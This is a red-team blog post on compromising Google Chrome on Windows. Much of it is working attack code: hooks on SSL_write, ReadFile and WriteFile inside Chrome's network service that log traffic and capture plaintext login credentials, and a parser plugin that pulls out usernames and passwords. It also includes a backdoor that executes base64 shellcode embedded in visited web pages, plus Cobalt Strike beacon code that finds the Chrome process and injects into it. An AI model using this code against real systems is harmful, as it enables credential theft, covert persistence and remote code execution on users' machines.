Web browsers are inherently trusted by users. They are trained to trust websites which “have a padlock in the address bar” and that “have the correct name”, This trust leads to users feeling comfortable entering their sensitive data into these websites. From an attackers stand point this trust is an amazing thing, as once you have compromised a users workstation there is a process (with close to zero protections) handling a relatively large amount of sensitive data while being used a great deal by a user. Throw in password managers with browser extensions and you have a natural target for red teams. So naturally when I found myself with some time to spend on a research project, I decided to spend it abusing this trust!
The browser I decided to target was Google Chrome, the simple reason being that it has nearly a 70% market share of desktop browsers so is by far the most popular browser and therefore is the obvious choice to target.
Like most browsers Chrome uses a multi-process architecture (as can be seen below):
The reason for this is for both security and usability, it allows specific parts of the browser (such as the renderer) to be sandboxed while still allowing other parts of the browser to run without the limitations of the sandbox. Chrome is broken down into 7 different parts, with the most important being the network service, storage service and the renderer. The network service does what it says on the tin… it handles communication with the internet and therefore is guaranteed to be in possession of the sensitive data we are after.
I know that I will be targeting Chrome running on windows and also that windows has its own socket library called Winsock. So its likely that Chrome will be using Winsock for its network communication. The majority of Chromes code is stored inside chrome.dll
so loading that into IDA and looking at the xrefs to WSASend
I can confirm that assumption.
The only problem with this is that WSASend is only going to contain plaintext data when the user is connecting to sites without SSL enabled, which is not likely to be any of the sites we want to steal data from. So how can we get the same data, just as plaintext before it is encrypted? Lets just target the SSL encryption functions instead.
Somewhere during the development of Chrome, Google decided that OpenSSL wasn’t good enough for them and made their own fork called BoringSSL. They were kind enough to keep the original core function names meaning that SSL_write
for example, does the same thing in both OpenSSL and BoringSSL. It will take a pointer to some plaintext data as the buf
argument and will write it to the SSL stream pointed to by the ssl
argument. The source code for the function can be seen below:
We can confirm its use by Chrome by searching for xrefs to the string SSL_write
in chrome.dll
:
After a bit of looking I found the function at the offset 0x0000000182ED03E0
, I have renamed some variables and functions names so it’s quite clear to see it is the SSL_write
function:
Now that we have the offset we can place a hook to redirect the call from the legitimate SSL_write
to our SSL_write
function. I have walked though doing this in a past blog post.
I wrote some code to search for the following pattern:
41 56 56 57 55 53 48 83 EC 40 45 89 C6 48 89 D7 48 89 CB 48 8B 05 EE 3E DC 05 48 31 E0 48 89 44
and replace it with the below function which will just display a text box with the request data inside.
int SSL_write(void* ssl, void* buf, int num) {
MessageBoxA(NULL, (char*)buf, "SSL_write", 0);
return Clean_SSLWrite(ssl, buf, num);
}
I injected the DLL into the network service and logged in to an outlook account. As expected, I then had two pop-up boxes, one containing the request headers and the other with the POST body:
Just to make sure, I tried logging into a couple of other websites and everything seemed to work fine until I tried to log into a google service and didn’t get a pop-up box. I could not understand why I was able to catch every request except from any to a google service. It was then after doing some research I discovered the QUIC protocol. It turns out that google had decided that TCP was no longer good enough for HTTP anymore and that Chrome will now be using UDP instead. sigh, of course…
But all clouds have silver linings, and at least this forced me to acknowledge the fact the Chrome actually supports multiple different protocols and that I must find a more universal solution to achieve my goals.
Now it is completely possible to just repeat the above process of finding the offsets of critical functions for each protocol and then placing hooks. But that just seems like a lot of work and is not a particularly elegant method. Instead, I decided to take a step back and look for a much cleaner way to doing it.
Looking back at the multi-process architecture that Chrome uses I realised that there must be a method that the renderer process uses to communicate a request to the network service and receive the response back. I found this talk by @NedWilliamson which gave a lot of detail about how Chrome uses inter-process communication (IPC) to communicate between processes. It appeared that by targeting the functions used for IPC between the two processes I would now be able to steal data being sent and received regardless of the protocol.
Chrome will use multiple different pipes during IPC, the control pipe is called \\.\pipe\chromeipc
and the others are used for transferring data such as requests, responses, cookies, saved credentials and so on. I found this tool called chromium-ipc-sniffer which will allow me to use Wireshark to sniff data being sent along Chromes control pipe.
I fired it up – there was a lot of irrelevant data being sent, so I used the below filter to refine it to only the communication I wanted to see:
npfs.process_type contains "Network Service" && npfs.process_type contains "Broker"
When doing IPC Chrome uses Mojo, its a data format that basically allows Chrome to easily pass data and call internal functions quickly. It’s pretty cool. As can be seen in the image below the broker will call the URLLoaderFactory.CreateLoaderAndStart
Mojo method in the network service and give it the key information for the HTTP request, such as the method, domain and headers:
Rather than communicating the request directly to the network service, the renderer will use the broker as a proxy for these requests.
Now that we are certain request data will be transmitted over IPC, it’s time to now start stealing this data! Doing so is actually extremely easy as you only have to hook a single windows API call to get the contents of any requests, regardless of the protocol it is going to be sent over. Consider the below example of what Chrome’s own internal code could look like:
DWORD dwRead;
LPVOID lpBuffer = NULL;
HANDLE hPipe = CreateFile(L"\\\\.\\pipe\\chromeipc",
GENERIC_READ,
0,
NULL,
OPEN_EXISTING,
0,
NULL);
while (hPipe != INVALID_HANDLE_VALUE)
{
while (ReadFile(hPipe, lpBuffer, sizeof(lpBuffer), &dwRead, NULL) != FALSE)
{
HandleMojoData(lpBuffer);
}
CloseHandle(hPipe);
}
Rather than using a byte pattern (which is likely to change between version) to find HandleMojoData
, why not just target ReadFile
who’s address is present in the PEB and easily accessible via a call to GetProcAddress
. So lets do that instead – below is the function to which I am going to redirect the legitimate ReadFile
function:
BOOL Hooked_ReadFile( HANDLE hFile,
LPVOID lpBuffer,
DWORD nNumberOfBytesToRead,
LPDWORD lpNumberOfBytesRead,
LPOVERLAPPED lpOverlapped
)
{
// so we can verify if the function is hooked or not
if (hFile == (HANDLE)READFILE_HOOKED && lpBuffer == NULL)
{
return TRUE;
}
WriteBufferToLog(lpBuffer, nNumberOfBytesToRead);
return Clean_ReadFile(hFile, lpBuffer, nNumberOfBytesToRead, lpNumberOfBytesRead, lpOverlapped);
}
All this function will do is log the data that will be written from the named pipe to a file on disk, then call the original ReadFile
function. This code can be found here.
I think its important to point out that the reason I’m not including a Mojo parser to only log request data, and am instead logging everything, is simply because Chrome has such a large code base that I can be almost certain that HTTP request data is not going to be the only data of value passing though these pipes. With that in mind it makes sense to record everything and parsing it at a later date without the risk of losing that data forever.
After injecting the hooking DLL and logging into outlook again, with a bit of grepping, I’m able to find the credentials I used to login:
Trying to login to https://account.google.com/ using the QUIC protocol and as you can see in the screenshot below, we are now able to steal the plain text credentials:
Now the only challenge is to parse this file and extract as many secrets as can be found.
I needed to write a utility to parse this dump file. It needed to be able to match and differentiate between multiple different requests types, then parse such requests in a way that will give easy retrieval of the secrets inside the request. To do this, using a combination of both YARA rules and a python based plugin system I wrote hunt.py
.
The syntax to use hunt.py
is very simple
./hunt.py <dumpfile>
Then it will search though the dump and locate secrets, as shown below:
Writing rules and plugins is actually extremely easy. To start you will need to look at the request and pick out strings which can be used to identify the request for the YARA rule:
Then using these strings a YARA rule such as the following can be written. Rules should be stored in the rules/
directory:
rule outlook_creds {
meta:
author = "@_batsec_"
plugin = "outlook_parse"
strings:
$str1 = "login.live.com"
$str2 = "login="
$str3 = "hisScaleUnit="
$str4 = "passwd="
condition:
all of them
}
When hunt.py
finds a match, it uses the value of the plugin
variable in the rule as the name of the plugin to load and parse the request.
A plugin is just a function in the plugins.py
file. It will be given the raw request as a bytes object and should return a dictionary containing the name and secret of everything it finds, e.g. {'site': 'login.live.com', 'username': 'asdf%40asdf.com', 'password': 'ThisIsMyVerySecurePassword123%21'}
.
The plugin to parse the outlook request is shown below:
def outlook_parse(request):
creds = {}
creds['site'] = 'login.live.com'
login = re.search(rb'login=(.*)&', request).group(1).decode()
login = login[:login.index('&')]
creds['username'] = login
passwd = re.search(rb'passwd=(.*)&', request).group(1).decode()
passwd = passwd[:passwd.index('&')]
creds['password'] = passwd
return creds
Let’s take a look at our chrometap BOF in action:
Being able to steal secrets from requests is one thing, but what about using Chrome as a stealthy persistence method? Now that would be cool.
To manage this, we are going need to find a way to view the responses of web requests, but if we can view the web requests with a hook on ReadFile
in the network service, surely we can view the responses to these requests as its written back to the pipe with a hook on WriteFile
? Lets find out.
I modified the previous code to dump the contents of WriteFile
instead of the ReadFile
. Injecting it into the network service and analysing the dump file I was expecting to see a load of HTML/CSS/JavaScript files, but to my surprise there wasn’t any:
I was so confused. I assumed that I was wrong in my assumption and that the response content was being communicated via a different means of IPC. I spent some time looking into shared memory (another method of IPC Chrome uses) but was still unable to find the response content.
Getting frustrated, I was looking over the request headers trying to see if there was anything I had missed. Then I noticed the encoding headers and it all made sense:
I had assumed that the network service would just handle everything and pass the responses to the renderer for rendering, but from the amount of gzipped content in the dump file it seems like the render process will also handle the decompression:
And by extracting and decompressing the gzipped content we are able to see that it is in fact the web content I have been searching for. Finally!
So now we know that by placing a hook on WriteFile
and decompressing the data in lpBuffer
will give us the plain text web content. Cool.
Using this nice little gzip decompression library I was then able to write a replacement WriteFile
function that will ungzip the data, and give any data between <shellcode></shellcode>
HTML tags to the ExecuteShellcode
shellcode function to be executed.
#define SHCPATTERN1 "<shellcode>"
#define SHCPATTERN2 "</shellcode>"
BOOL Hooked_WriteFile(HANDLE hFile,
LPCVOID lpBuffer,
DWORD nNumberOfBytesToWrite,
LPDWORD lpNumberOfBytesWritten,
LPOVERLAPPED lpOverlapped)
{
int res;
DWORD i;
char *start, *end;
char *target = NULL;
unsigned char *dest = NULL;
unsigned char *source = NULL;
unsigned int len, dlen, outlen;
DWORD_PTR dwBuf = (DWORD_PTR)lpBuffer;
if (hFile == (HANDLE)WRITEFILE_HOOKED && lpBuffer == NULL)
{
return TRUE;
}
if (lpBuffer != NULL && nNumberOfBytesToWrite >= 18)
{
tinf_init();
auto ucharptr = static_cast<const unsigned char*>(lpBuffer);
source = const_cast<unsigned char*>(ucharptr);
dlen = read_le32(&source[nNumberOfBytesToWrite - 4]);
dest = (unsigned char *) malloc(dlen ? dlen : 1);
if (dest == NULL)
{
goto APICALL;
}
outlen = dlen;
res = tinf_gzip_uncompress(dest, &outlen, source, nNumberOfBytesToWrite);
if ((res != TINF_OK) || (outlen != dlen))
{
free(dest);
goto APICALL;
}
for (i = 0; i < outlen; i++)
{
if (!memcmp((PVOID)(dest + i), (unsigned char*)SHCPATTERN1, strlen(SHCPATTERN1)))
{
if ( start = strstr( (char*)dest, SHCPATTERN1 ) )
{
start += strlen( SHCPATTERN1 );
if ( end = strstr( start, SHCPATTERN2 ) )
{
target = ( char * )malloc( end - start + 1 );
memcpy( target, start, end - start );
target[end - start] = '\0';
ExecuteShellcode(target);
}
}
}
}
free(dest);
free(target);
goto APICALL;
}
goto APICALL;
APICALL:
return Clean_WriteFile(hFile, lpBuffer, nNumberOfBytesToWrite, lpNumberOfBytesWritten, lpOverlapped);
}
The ExecuteShellcode
does not do anything special, it just uses the windows API to base64 decode the shellcode and then execute it. I will leave it as a challenge for the reader to adapt this to use syscalls and other more defensive injection techniques.
BOOL ExecuteShellcode(char* shellcode)
{
DWORD dwOutLen;
int shellcode_len = strlen(shellcode);
FUNC_CryptStringToBinaryA CryptStringToBinaryA = (FUNC_CryptStringToBinaryA)GetProcAddress(
LoadLibraryA("crypt32.dll"),
"CryptStringToBinaryA");
CryptStringToBinaryA(
(LPCSTR)shellcode,
(DWORD)shellcode_len,
CRYPT_STRING_BASE64,
NULL,
&dwOutLen,
NULL,
NULL
);
BYTE* pbBinary = (BYTE*)malloc(dwOutLen + 1);
CryptStringToBinaryA(
(LPCSTR)shellcode,
(DWORD)shellcode_len,
CRYPT_STRING_BASE64,
pbBinary,
&dwOutLen,
NULL,
NULL
);
void* module = VirtualAlloc(0, dwOutLen, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(module, pbBinary, dwOutLen);
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)module, NULL, 0, 0);
return TRUE;
}
Since we now have a DLL, that when injected, will force Chrome to execute any shellcode between <shellcode></shellcode>
tags, lets test it out:
If you visit the homepage of my blog with a backdoored browser the shellcode will run:
Having a stealthy way to retain access to a organisation like this is cool because it doesn’t mean you have to have a beacon/implant constantly running. All you have to do is have the user access a web resource that has the plain text shellcode tags in it whether that’s a link, image, iframe etc it doesn’t matter.
You can use any normal persistence technique to re-inject the hook after every reboot.
Having these tools in DLL form is useful, but not very practical for an engagement as I would have to somehow identify Chrome’s network service and then inject said DLL. Because of this I decided to use a combination of sRDI and Cobalt Strikes’ beacon object files to deploy them.
I wrote the beacon object file (BoF) to use direct syscalls, this was made a lot easier thanks to the great work by @Cneelis on InlineWhispers.
The first order of business is to find Chrome’s network service. It runs under the image name chrome.exe
so I use the NtQuerySystemInformation
syscall with the SystemProcessInformation
argument to get the pointer to a SYSTEM_PROCESSES
structure containing information about all the processes currently running on the machine.
typedef struct _SYSTEM_PROCESSES {
ULONG NextEntryDelta;
ULONG ThreadCount;
ULONG Reserved1[6];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ProcessName;
KPRIORITY BasePriority;
HANDLE ProcessId;
HANDLE InheritedFromProcessId;
} SYSTEM_PROCESSES, *PSYSTEM_PROCESSES;
Then using the NextEntryDelta
to iterate through the processes until the ProcessName.Buffer
is chrome.exe
.
DWORD GetChromeNetworkProc()
{
NTSTATUS dwStatus;
ULONG ulRetLen = 0;
LPVOID lpBuffer = NULL;
DWORD dwPid, dwProcPid = 0;
if (NtQuerySystemInformation(SystemProcessInformation, 0, 0, &ulRetLen) != STATUS_INFO_LENGTH_MISMATCH)
{
goto Cleanup;
}
lpBuffer = MSVCRT$malloc(ulRetLen);
if (lpBuffer == NULL)
{
goto Cleanup;
}
if (!NtQuerySystemInformation(SystemProcessInformation, lpBuffer, ulRetLen, &ulRetLen) == STATUS_SUCCESS)
{
goto Cleanup;
}
PSYSTEM_PROCESSES lpProcInfo = (PSYSTEM_PROCESSES)lpBuffer;
do
{
dwPid = 0;
lpProcInfo = (PSYSTEM_PROCESSES)(((LPBYTE)lpProcInfo) + lpProcInfo->NextEntryDelta);
dwProcPid = *((DWORD*)&lpProcInfo->ProcessId);
if (MSVCRT$wcscmp(lpProcInfo->ProcessName.Buffer, L"chrome.exe") == 0)
{
if (IsNetworkProc(dwProcPid))
{
dwPid = dwProcPid;
goto Cleanup;
}
}
if (lpProcInfo->NextEntryDelta == 0)
{
goto Cleanup;
}
} while (lpProcInfo);
Cleanup:
return dwPid;
}
Once a process named chrome.exe
is found its process id will be passed to the IsNetworkProc
function which will determine if it is actually the network service. This is done by using the NtQueryInformationProcess
syscall to get the address of the process environment block (PEB) in the remote process and then walk the PEB until it finds the command line arguments the process was launched with. If the flag --utility-sub-type=network.mojom.NetworkService
was used when launching the chrome.exe
process then that process is going to be the network service.
BOOL IsNetworkProc(DWORD dwPid)
{
PPEB pPeb;
SIZE_T stRead;
HANDLE hProcess;
NTSTATUS dwStatus;
BOOL bStatus = FALSE;
PWSTR lpwBufferLocal;
PROCESS_BASIC_INFORMATION BasicInfo;
MSVCRT$memset(&BasicInfo, '\0', sizeof(BasicInfo));
if ((hProcess = OpenProcessHandle(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, dwPid)) == INVALID_HANDLE_VALUE)
{
bStatus = FALSE;
goto Cleanup;
}
if ((dwStatus = NtQueryInformationProcess(hProcess, ProcessBasicInformation, &BasicInfo, sizeof(BasicInfo), NULL)) != STATUS_SUCCESS)
{
bStatus = FALSE;
goto Cleanup;
}
LPVOID lpPebBuf = MSVCRT$malloc(sizeof(PEB));
if (lpPebBuf == NULL)
{
bStatus = FALSE;
goto Cleanup;
}
if (NtReadVirtualMemory(hProcess, BasicInfo.PebBaseAddress, lpPebBuf, sizeof(PEB), &stRead) != STATUS_SUCCESS)
{
bStatus = FALSE;
goto Cleanup;
}
PPEB pPebLocal = (PPEB)lpPebBuf;
PRTL_USER_PROCESS_PARAMETERS pRtlProcParam = pPebLocal->ProcessParameters;
PRTL_USER_PROCESS_PARAMETERS pRtlProcParamCopy = (PRTL_USER_PROCESS_PARAMETERS)MSVCRT$malloc(sizeof(RTL_USER_PROCESS_PARAMETERS));
if (pRtlProcParamCopy == NULL)
{
bStatus = FALSE;
goto Cleanup;
}
if (NtReadVirtualMemory(hProcess, pRtlProcParam, pRtlProcParamCopy, sizeof(RTL_USER_PROCESS_PARAMETERS), NULL) != STATUS_SUCCESS)
{
bStatus = FALSE;
goto Cleanup;
}
USHORT len = pRtlProcParamCopy->CommandLine.Length;
PWSTR lpwBuffer = pRtlProcParamCopy->CommandLine.Buffer;
if ((lpwBufferLocal = (PWSTR)MSVCRT$malloc(len)) == NULL)
{
bStatus = FALSE;
goto Cleanup;
}
if (NtReadVirtualMemory(hProcess, lpwBuffer, lpwBufferLocal, len, NULL) != STATUS_SUCCESS)
{
bStatus = FALSE;
goto Cleanup;
}
if (MSVCRT$wcsstr(lpwBufferLocal, L"--utility-sub-type=network.mojom.NetworkService") != NULL)
{
bStatus = TRUE;
}
goto Cleanup;
Cleanup:
if (hProcess) { KERNEL32$CloseHandle(hProcess); }
return bStatus;
}
Once the network process has been found, it will then use the below code to inject the DLL, which has now been turned into position independent shellcode thanks to sRDI, into the process.
BOOL InjectShellcode(DWORD dwChromePid, DWORD dwShcLen, LPVOID lpShcBuf)
{
ULONG ulPerms;
LPVOID lpBuffer = NULL;
HANDLE hProcess, hThread;
SIZE_T stSize = (SIZE_T)dwShcLen;
if ((hProcess = OpenProcessHandle(PROCESS_ALL_ACCESS, dwChromePid)) == INVALID_HANDLE_VALUE)
{
return FALSE;
}
NtAllocateVirtualMemory(hProcess, &lpBuffer, 0, &stSize, (MEM_RESERVE | MEM_COMMIT), PAGE_READWRITE);
if (lpBuffer == NULL)
{
return FALSE;
}
if (NtWriteVirtualMemory(hProcess, lpBuffer, lpShcBuf, dwShcLen, NULL) != STATUS_SUCCESS)
{
return FALSE;
}
if (NtProtectVirtualMemory(hProcess, &lpBuffer, &stSize, PAGE_EXECUTE_READ, &ulPerms) != STATUS_SUCCESS)
{
return FALSE;
}
NtCreateThreadEx(&hThread, 0x1FFFFF, NULL, hProcess, (LPTHREAD_START_ROUTINE)lpBuffer, NULL, FALSE, 0, 0, 0, NULL);
if (hThread == INVALID_HANDLE_VALUE)
{
return FALSE;
}
return TRUE;
}
I hope you have found this post useful and will find some of these techniques helpful. I was planning on also including details on how to inject arbitrary JavaScript into web pages, but sadly I just ran out of time and had to move onto other things, although I will say that it is completely possible to do using a combination of the techniques I have listed above.
If you have any questions feel free to give me a DM on twitter.
This blog post was written by Dylan (@_batsec_).